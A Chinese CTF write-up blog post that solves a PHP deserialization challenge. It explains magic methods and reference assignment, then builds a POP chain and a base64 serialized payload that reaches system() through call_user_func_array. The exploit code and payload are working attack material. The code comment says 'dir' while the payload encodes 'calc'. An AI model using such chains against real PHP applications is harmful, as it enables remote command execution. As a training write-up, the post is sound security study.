2022北京工业互联网安全大赛初赛-wakeup

  • 使用引用&来给变量赋值
  • php反序列化

这道题打的时候没做出来,赛后看了别人的wp,看到是用引用来赋值,就自己复现出来了。

源码

<?php

class KeyPort {

    public function __call($name, $arguments)
    {
        if(!isset($this->wakeup)||!$this->wakeup){
            call_user_func_array($this->format[$name],$arguments);
        }
    }

    public function finish(){
        $this->format=array();
        return $this->finish->iffinish;
    }

    public function __wakeup(){
        $this->wakeup=True;
    }
}

class ArrayObj{

    private $iffinish;
    public $name;

    public function __get($name){
        return $this->$name=$this->name[$name];
    }
}

class SunCorpa {
    public function __destruct()
    {
        if ($this->process->finish()) {
            $this->process->forward($this->_forward);
        }
    }
}

class MoonCorpa {
    public function __destruct()
    {
        if ($this->process->finish()) {
            $this->options['new']->forward($this->_forward);
        }
    }
    public function __wakeup(){
    }
}

if($_GET['u']){
    unserialize(base64_decode($_GET['u']));
}else{
    highlight_file(__FILE__);
} 

首先要先了解一点基本知识

基本知识

1.魔法函数__destruct()、__wakeup()

__destruct

拥有这个的类的对象在反序列化时,会先执行此对象的__destruct再执行此对象的成员属性的值的__destruct

即先执行外层再执行内层

__wakeup

拥有这个的类的对象在反序列化时,会先执行对象的成员属性的值的__wakeup再执行此对象的__wakeup

即先执行内层再执行外层

eg:

class A{
    public $c;
    public function __destruct(){
        echo 'A',PHP_EOL;
    }
    public function __wakeup(){
        echo 'a',PHP_EOL;
    }
}
class SampleClass {
    public $a;
    public function __destruct(){
        echo 'S',PHP_EOL;
    }
    public function __wakeup(){
        echo 's',PHP_EOL;
    }

}
//$a=new SampleClass();
//$a->a=new A;
$a='O:11:"SampleClass":1:{s:1:"a";O:1:"A":1:{s:1:"c";N;}}';
unserialize($a);

输出

a
s
S
A
2.php引用&赋值

在php中可以使用引用的方式来让两个变量名指向同一个内存地址,这样在对一个变量进行操作的时候,另一个变量的值也会变

在函数中使用引用参数来修改传入参数的值

eg:

function test (&$a){
    $x=&$a;
    $x='123';
}
$x='11';
test($x);
echo $x;

输出

123

可以看见,函数外部的变量值也发生了改变

3.魔法函数__get、__call

__get

当类的成员属性被设定为 private 后,如果在类外部访问这个成员属性,那么就会触发__get()

访问不存在的成员属性也会触发__get

eg:

class C{
    private $a;
    public function __get($name){
        echo $name;
    }
}
$c=new C;
echo $c->a;
echo $c->b;

输出

ab

__call

PHP5 的对象新增了一个专用方法 __call(),这个方法用来监视一个对象中的其它方法。如果你试着调用一个对象中不存在或被权限控制中的方法,__call 方法将会被自动调用。

<?php  

class foo {  

  function __call($name,$arguments) {  

    print("Did you call me? I'm $name!");  

  }  

} $x = new foo();  

$x->doStuff();  

$x->fancy_stuff();  

?>
//Did you call me? I'm doStuff!Did you call me? I'm fancy_stuff!

代码审计

只看到了call_user_func_array可以利用

image-20220928123436173

关键在于如何进入__call且通过这个判断

if(!isset($this->wakeup)||!$this->wakeup)

要么不给wakeup赋值,要么控制wakeup为false

在反序列化后,会对KeyPort对象的wakeup进行赋值

所以通过引用来在__wakeup执行后还能对wakeup进行赋值

首先观察到有两个类可以执行__destruct

class SunCorpa {
    public function __destruct()
    {
        if ($this->process->finish()) {
            $this->process->forward($this->_forward);
        }
    }
}

class MoonCorpa {
    public function __destruct()
    {
        if ($this->process->finish()) {
            $this->options['new']->forward($this->_forward);
        }
    }
    public function __wakeup(){
    }
}

且都执行$this->process->finish(),只是函数代码不同

可以先让一个返回false,另一个返回正常值

我们选择让SunCorpa的$this->process->finish()返回false

这里使用构造器的方式弄链子,否则有点麻烦

POP

class KeyPort {}
class MoonCorpa {}
class ArrayObj{

    private $iffinish;
    public $name;
    public function __construct(&$a)
    {
        $this->iffinish=&$a;
    }
}

class SunCorpa {

    public function __construct(){
        //第一部分,给wakeup赋值false
        $key=new KeyPort;
        $arr=new ArrayObj($key->wakeup);//使用这个方式让ArrayObj::iffinish引用wakeup,因为在后面会给ArrayObj::iffinish赋值,这样KeyPort::wakeup也会变
        $arr->name=array('iffinish'=>false);
        $this->key=$key;
        $this->arr=$arr;
        $this->process=$this->key;
        $this->key->finish=$arr;
        //第一部分结束,$this->key->wakeup被赋值为false
        //第二部分,因为在执行KetPort::finish()时,其format会被赋值为空数组,导致无法执行我们想要的函数,所以使用引用的方法来给format赋值
        $key2=new KeyPort();
        $moon=new MoonCorpa();//使用这个类的__destruct来进入到KeyPort的__call函数
        $this->moon=$moon;//让MoonCorpa对象成为此对象的成员
        $this->key2=$key2;
        $this->moon->process=$key2;
        $arr2=new ArrayObj($key->format);//让ArrayObj::iffinish引用$key->format
        $key2->finish=$arr2;
        $arr2->name=array('iffinish'=>array('forward'=>'system'));//给$key的format赋值为array('forward'=>'system')
        $this->moon->options=array('new'=>&$this->key);
        $this->moon->_forward='dir';//要执行的命令       
    }
$a=new SunCorpa();
echo base64_encode(serialize($a));
//Tzo4OiJTdW5Db3JwYSI6NTp7czozOiJrZXkiO086NzoiS2V5UG9ydCI6Mzp7czo2OiJ3YWtldXAiO047czo2OiJmaW5pc2giO086ODoiQXJyYXlPYmoiOjI6e3M6MTg6IgBBcnJheU9iagBpZmZpbmlzaCI7UjozO3M6NDoibmFtZSI7YToxOntzOjg6ImlmZmluaXNoIjtiOjA7fX1zOjY6ImZvcm1hdCI7Tjt9czozOiJhcnIiO3I6NDtzOjc6InByb2Nlc3MiO3I6MjtzOjQ6Im1vb24iO086OToiTW9vbkNvcnBhIjozOntzOjc6InByb2Nlc3MiO086NzoiS2V5UG9ydCI6MTp7czo2OiJmaW5pc2giO086ODoiQXJyYXlPYmoiOjI6e3M6MTg6IgBBcnJheU9iagBpZmZpbmlzaCI7Ujo3O3M6NDoibmFtZSI7YToxOntzOjg6ImlmZmluaXNoIjthOjE6e3M6NzoiZm9yd2FyZCI7czo2OiJzeXN0ZW0iO319fX1zOjc6Im9wdGlvbnMiO2E6MTp7czozOiJuZXciO1I6Mjt9czo4OiJfZm9yd2FyZCI7czo0OiJjYWxjIjt9czo0OiJrZXkyIjtyOjExO30=

本地执行

image-20220928125729470

成功了,tmd

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

v2ish1yan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值